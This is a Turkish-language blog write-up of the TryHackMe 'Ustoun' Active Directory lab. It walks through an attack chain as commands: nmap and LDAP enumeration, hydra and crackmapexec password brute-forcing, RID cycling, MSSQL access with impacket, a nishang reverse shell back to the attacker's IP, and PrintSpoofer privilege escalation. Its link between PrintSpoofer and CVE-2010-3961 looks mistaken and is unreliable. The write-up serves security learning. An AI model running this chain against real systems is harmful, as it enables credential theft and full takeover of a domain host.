Sitemap
Saniye Nur

Saniye Nur

DIGITAL FORENSICS ENGINEER https://www.linkedin.com/in/saniye-nurc/

TryHackme -USTOUN

6 min readApr 27, 2021

Merhaba ,

Bu makine bir Active Directory makinesi.Elimizde test yapacagımız bir IP den başka bilgi yok.Bütün bilgilere tek tek kendimiz ulaştık.Sonucunda ise mssql den Invoke-PowerShellTcp.ps1 ile shell e ulaşmayı başardık.Yetki yükseltme kısmı daha güzeldi. SeImpersonatePrivilege den kaynaklı güvenlik açıgından(CVE-2010–3961-Consent UI Impersonation Vulnerability) yararlandık. Hadi başlayalım.

sudo nmap -Pn -sS -sV -sC -A -vv 10.10.237.167

Press enter or click to view image in full size
Press enter or click to view image in full size

Görüldüğü üzere bu bir Windows makinesi,kerberos ve active directory ldap bilgileri olayı anlamama yardımcı oluyor.Bunlar dışında mssql açık portu , diğerlerinden biraz daha fazla yogunlaşacagım kısmı gösteriyor aslında.

Birde LDAP sorgularını genişletip bilgi toplamaya devam ediyorum.

nmap -n -sV — script “ldap* and not brute” 10.10.237.167 #Using anonymous credentials

Buradan alan adının ustoun.local oldugunu görebilirsiniz.isterseniz ip le devam edip isterseniz direk /etc/hosts a ip yi ekleyerek devam edebilirsiniz.

Bilgi toplamaya devam edelim smbclient a da bakalım, bu paylaşımlara password suz bağlanamıyorum.

Kerbrute dan önce LDAP ile önceden bildiğim guest ve administrator user ları için password bulabilecek miyim , hydra ile bunu denedim fakat sonuç alamadım.

hydra -l administrator -P /usr/share/wordlists/SecLists/rockyou.txt 10.10.11.77 ldap2 -V -I -f

hydra -l administrator -P /usr/share/wordlists/SecLists/rockyou.txt 10.10.11.77 ldap3 -V -I -f

Buradan sonra kerbrute ile neler yapabiliriz bir bakalım :

Geçerli kullanıcıları görebilir miyiz ?

Press enter or click to view image in full size

Görüldüğü gibi 2 geçerli kulanıcı var guest ve administrator.

Nmap ile görüntülemek istersek :

nmap -p 88 — script=krb5-enum-users — script-args krb5-enum-users.realm=’ustoun.local’,userdb=/usr/share/seclists/Usernames/cirt-default-usernames.txt 10.10.237.167

Elimizde smb ile bağlanabiliriz bilgisi, bir ip, ve guest kullanıcısı var fakat daha fazla bilgiye ihtiyacımız var en azında başka bir user , yada başka user ın parolasu vs.

Crackmapexec bize bir şeyler gösterir mi deneyelim,

crackmapexec smb 10.10.220.244 -u guest -p ‘’ — rid-brute

Press enter or click to view image in full size

Burada kullanıcıları SidTypeUser temsil eder, böylece iki kullanıcı daha bulduk.

SVC-Kerb

krbtgt

Crackmapexec ile buldugumuz user için parola bulabilecek miyiz, buna geçmeden önce yukarıda yaptıgım rid brute işleminden bahsetmek istiyorum.

RID, yani Relative Identifier , Active Directory objelerin benzersiz kimlik numaralarını temsil eder.RID oluşturulurken (otomatik oluşturulur) AD nin oluşturdugu ilgili domain in kimlik numarasıyla oluşturulur.Bu oluşan değer ise hepimizin sıkça gördüğü SID den başka bir şey değildir.

(EXTRA : RidEnum kullanıcı hesaplarını boş oturumlar ve SID’den RID’ye numaralandırmaya çalışan bir RID cycling attack dır.

Example: ./ridenum.py 192.168.1.50 500 50000 /root/dict.txt /root/user.txt

Usage: ./ridenum.py <server_ip> <start_rid> <end_rid> <optional_username> <optional_password> <optional_password_file> <optional_username_filename>

)

Şimdi Crackmapexec ile buldugumuz SVC-Kerb için brute force deneyelim :

crackmapexec smb ustoun.local -u SVC-Kerb -p /usr/share/wordlists/rockyou.txt

Press enter or click to view image in full size
Press enter or click to view image in full size

Güzel istediğimiz password u bulduk.

Şimdi iseyukarıda bahsettiğim mssql den bir yerlere girebilecek miyiz bunu deneyelim, bunun için impacket de gelen mssqlclient.py işimizi görecektir.

Get Saniye Nur’s stories in your inbox

Join Medium for free to get updates from this writer.

locate mssqlclient
/usr/share/doc/python3-impacket/examples/mssqlclient.py

yerini bulduk, şimdi buradan devam edebiliriz,

Press enter or click to view image in full size
Press enter or click to view image in full size

Buradan devam etmeden önce msfconsole da neler yapabiliriz bir de ona bakalım :

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

İster buradan devam edin, ister impacket de mssqlclient.py dan ,

Ben mssqlclient dan devam edeceğim , şimdi burada önce C: içinde tmp oluşturalım ve içine internetten github dan da bulabileceğimiz Invoke-PowershellTcp.ps1 powershell ini yükleyelim :

Press enter or click to view image in full size

Fakat bunu kullanırken shell in içini değiştirmeyi unutmayalım ,

Press enter or click to view image in full size

Kod sonuna ip mizi ve dinleme yapacagımız poru ekliyoruz.

Invoke-PowerShellTcp -Reverse -IPAddress 10.4.34.255 -Port 443

(https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)

Press enter or click to view image in full size

Bu işlemi yaparken kendi makinemizi de dinlemeye almayı unutmayalım :

python3 -m http.server 80

nc -nlvp 443

Press enter or click to view image in full size

Ve içerdeyiz.

Press enter or click to view image in full size
Press enter or click to view image in full size

Fakat gördüğünüz gibi hiç bir şeye yetkimiz yok.Buradan sonra SeImpersonatePrivilege ile devam ediyoruz.

Press enter or click to view image in full size

SeImpersonatePrivilege olarak google da aradıgım zaman ise printspoofer dikkatimi çekiyor.

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

printspoofer.exe yi upload ettikten sonra Sonuca yavaş yavaş yaklaştıgımızda ise SeImpersonate Privilege in ne oldugunu da konuşalım.SeImpersonatePrivilege veya “Kimlik doğrulamasından sonra istemcinin kimliğine bürün” kullanıcı hakkı, ilk olarak Microsoft Windows 2000 Service Pack 4'te kullanılmaya başlanan bir güvenlik ayarıdır.Varsayılan olarak, aygıtın yerel Yöneticiler grubunun üyelerine ve aygıtın yerel Hizmet hesabına “Impersonate a client after authentication”, “Kimlik doğrulamasından sonra bir istemciyi taklit edin” kullanıcı hakkı atanır.

Bir kullanıcıya “Kimlik doğrulamasından sonra bir istemcinin kimliğine bürünme” kullanıcı hakkını atadığınızda(daha iyi anlaşılması için açığın türkçe anlamını yazmak daha mantıklı geldi), o kullanıcı adına çalışan programların bir istemciyi taklit etmesine izin vermiş olursunuz. Bu güvenlik ayarı, yetkisiz sunucuların RPC ile e kendisine bağlanan istemcileri taklit etmesine yardımcı olur.Bu açığın cve kodu CVE-2010–3961-Consent UI Impersonation Vulnerability Burada yaptıgımız işlem ise bu güvenlik açığından başarıyla yararlanan bir saldırgan olmak ve bu yetki ile özel hazırlanmış kodu(printspoofer.exe ) LocalSystem ayrıcalığıyla çalıştırabilir kılmak. Bununla gördüğünüz gibi program yükleyebildik verileri görüntüleyebildik, aynı zamanda değiştirebilir veya silebiliriz; tüm kullanıcı haklarına sahip olan yeni hesaplar oluşturabiliriz.

Press enter or click to view image in full size

printspoofer.exe

Windows Server 2016, Server 2019 ve Windows 10'da hizmet kullanıcı izinlerini yükseltmek için kullanılabilen PrintSpoofer istismarı.

Ayrıcalıkları yükseltmek için hizmet hesabının SeImpersonate ayrıcalıklarına sahip olması gerekir. Yürütmek için:

PrintSpoofer.exe -i -c cmd

İşlem tamam.

(EXTRA: Bir sistem process i oluşturmak ve etkileşime girmeden hemen çıkmak için :

Masaüstünde bir sistem process i oluşturmak için

Press enter or click to view image in full size

)

--

--